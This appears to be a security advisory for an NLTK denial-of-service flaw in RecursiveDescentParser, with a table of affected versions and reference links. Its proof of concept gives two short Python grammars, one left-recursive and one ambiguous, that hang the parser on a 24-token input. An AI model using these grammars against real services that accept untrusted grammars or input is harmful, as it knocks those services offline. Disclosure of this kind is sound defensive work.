CVE-2026-12876 NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
- Published
- Updated
- Exploit status
- No public exploit known
Description
nltk.parse.RecursiveDescentParser (and SteppingRecursiveDescentParser) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.
Proof of concept
Both of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:
from nltk import CFG
from nltk.parse import RecursiveDescentParser
# (a) left recursion -> unbounded recursion
g = CFG.fromstring("S -> S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24)) # hangs
# (b) ambiguous grammar -> exponential number of parses
g = CFG.fromstring("S -> 'a' S | 'a' S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24)) # hangs
Impact
An application that runs RecursiveDescentParser on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.
Sibling
The RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.
Affected products
| Product | Affected versions | Fixed in |
|---|---|---|
| pypi nltk(PyPI) | < 3.10.3 | 3.10.3 |
| pypi nltk(PyPI) | = 0.8 | No fix listed |
| pypi nltk(PyPI) | = 0.9 | No fix listed |
| pypi nltk(PyPI) | = 0.9.3 | No fix listed |
| pypi nltk(PyPI) | = 0.9.4 | No fix listed |
| pypi nltk(PyPI) | = 0.9.5 | No fix listed |
| pypi nltk(PyPI) | = 0.9.6 | No fix listed |
| pypi nltk(PyPI) | = 0.9.7 | No fix listed |
| pypi nltk(PyPI) | = 0.9.8 | No fix listed |
| pypi nltk(PyPI) | = 0.9.9 | No fix listed |
| pypi nltk(PyPI) | = 2.0.1 | No fix listed |
| pypi nltk(PyPI) | = 2.0.1rc1 | No fix listed |
| pypi nltk(PyPI) | = 2.0.1rc2-git | No fix listed |
| pypi nltk(PyPI) | = 2.0.1rc3 | No fix listed |
| pypi nltk(PyPI) | = 2.0.1rc4 | No fix listed |
| pypi nltk(PyPI) | = 2.0.2 | No fix listed |
| pypi nltk(PyPI) | = 2.0.3 | No fix listed |
| pypi nltk(PyPI) | = 2.0.4 | No fix listed |
| pypi nltk(PyPI) | = 2.0.5 | No fix listed |
| pypi nltk(PyPI) | = 2.0b4 | No fix listed |
| pypi nltk(PyPI) | = 2.0b5 | No fix listed |
| pypi nltk(PyPI) | = 2.0b6 | No fix listed |
| pypi nltk(PyPI) | = 2.0b7 | No fix listed |
| pypi nltk(PyPI) | = 2.0b8 | No fix listed |
| pypi nltk(PyPI) | = 2.0b9 | No fix listed |
Show 73 more
| Product | Affected versions | Fixed in |
|---|---|---|
| pypi nltk(PyPI) | = 3.0.0 | No fix listed |
| pypi nltk(PyPI) | = 3.0.0b1 | No fix listed |
| pypi nltk(PyPI) | = 3.0.0b2 | No fix listed |
| pypi nltk(PyPI) | = 3.0.1 | No fix listed |
| pypi nltk(PyPI) | = 3.0.2 | No fix listed |
| pypi nltk(PyPI) | = 3.0.3 | No fix listed |
| pypi nltk(PyPI) | = 3.0.4 | No fix listed |
| pypi nltk(PyPI) | = 3.0.5 | No fix listed |
| pypi nltk(PyPI) | = 3.1 | No fix listed |
| pypi nltk(PyPI) | = 3.10.0 | No fix listed |
| pypi nltk(PyPI) | = 3.10.1 | No fix listed |
| pypi nltk(PyPI) | = 3.10.2 | No fix listed |
| pypi nltk(PyPI) | = 3.2 | No fix listed |
| pypi nltk(PyPI) | = 3.2.1 | No fix listed |
| pypi nltk(PyPI) | = 3.2.2 | No fix listed |
| pypi nltk(PyPI) | = 3.2.3 | No fix listed |
| pypi nltk(PyPI) | = 3.2.4 | No fix listed |
| pypi nltk(PyPI) | = 3.2.5 | No fix listed |
| pypi nltk(PyPI) | = 3.3 | No fix listed |
| pypi nltk(PyPI) | = 3.4 | No fix listed |
| pypi nltk(PyPI) | = 3.4.1 | No fix listed |
| pypi nltk(PyPI) | = 3.4.2 | No fix listed |
| pypi nltk(PyPI) | = 3.4.3 | No fix listed |
| pypi nltk(PyPI) | = 3.4.4 | No fix listed |
| pypi nltk(PyPI) | = 3.4.5 | No fix listed |
| pypi nltk(PyPI) | = 3.5 | No fix listed |
| pypi nltk(PyPI) | = 3.5b1 | No fix listed |
| pypi nltk(PyPI) | = 3.6 | No fix listed |
| pypi nltk(PyPI) | = 3.6.1 | No fix listed |
| pypi nltk(PyPI) | = 3.6.2 | No fix listed |
| pypi nltk(PyPI) | = 3.6.3 | No fix listed |
| pypi nltk(PyPI) | = 3.6.4 | No fix listed |
| pypi nltk(PyPI) | = 3.6.5 | No fix listed |
| pypi nltk(PyPI) | = 3.6.6 | No fix listed |
| pypi nltk(PyPI) | = 3.6.7 | No fix listed |
| pypi nltk(PyPI) | = 3.7 | No fix listed |
| pypi nltk(PyPI) | = 3.8 | No fix listed |
| pypi nltk(PyPI) | = 3.8.1 | No fix listed |
| pypi nltk(PyPI) | = 3.9 | No fix listed |
| pypi nltk(PyPI) | = 3.9.1 | No fix listed |
| pypi nltk(PyPI) | = 3.9.2 | No fix listed |
| pypi nltk(PyPI) | = 3.9.3 | No fix listed |
| pypi nltk(PyPI) | = 3.9.4 | No fix listed |
| pypi nltk(PyPI) | = 3.9b1 | No fix listed |
| pypi nltk(PyPI) | <= 3.10.2 | No fix listed |
| debian/nltk(Debian:12) | All versions | No fix listed |
| debian/nltk(Debian:12) | = 3.10.0-1 | No fix listed |
| debian/nltk(Debian:12) | = 3.10.1-1 | No fix listed |
| debian/nltk(Debian:12) | = 3.10.3-1 | No fix listed |
| debian/nltk(Debian:12) | = 3.8-1 | No fix listed |
| debian/nltk(Debian:12) | = 3.8.1-1 | No fix listed |
| debian/nltk(Debian:12) | = 3.9.1-1 | No fix listed |
| debian/nltk(Debian:12) | = 3.9.1-2 | No fix listed |
| debian/nltk(Debian:12) | = 3.9.2-1 | No fix listed |
| debian/nltk(Debian:12) | = 3.9.3-1 | No fix listed |
| debian/nltk(Debian:13) | All versions | No fix listed |
| debian/nltk(Debian:13) | = 3.10.0-1 | No fix listed |
| debian/nltk(Debian:13) | = 3.10.1-1 | No fix listed |
| debian/nltk(Debian:13) | = 3.10.3-1 | No fix listed |
| debian/nltk(Debian:13) | = 3.9.1-2 | No fix listed |
| debian/nltk(Debian:13) | = 3.9.2-1 | No fix listed |
| debian/nltk(Debian:13) | = 3.9.3-1 | No fix listed |
| debian/nltk(Debian:14) | All versions | No fix listed |
| debian/nltk(Debian:14) | = 3.10.0-1 | No fix listed |
| debian/nltk(Debian:14) | = 3.10.1-1 | No fix listed |
| debian/nltk(Debian:14) | = 3.10.3-1 | No fix listed |
| debian/nltk(Debian:14) | = 3.9.1-2 | No fix listed |
| debian/nltk(Debian:14) | = 3.9.2-1 | No fix listed |
| debian/nltk(Debian:14) | = 3.9.3-1 | No fix listed |
| ubuntu/nltk(Ubuntu:22.04) | All versions | No fix listed |
| ubuntu/nltk(Ubuntu:24.04) | All versions | No fix listed |
| ubuntu/nltk(Ubuntu:26.04) | All versions | No fix listed |
| ubuntu/nltk(Ubuntu:26.10) | All versions | No fix listed |
References
- github.com vendor-advisory
- github.com patch
- github.com patch
- github.com product
- github.com
- pypi.org product
- github.com vendor-advisory
- nvd.nist.gov vendor-advisory
- Debian Security Tracker CVE-2026-12876 vendor-advisory
- Ubuntu CVE tracker vendor-advisory
- www.cve.org
- bugs.debian.org issue-tracking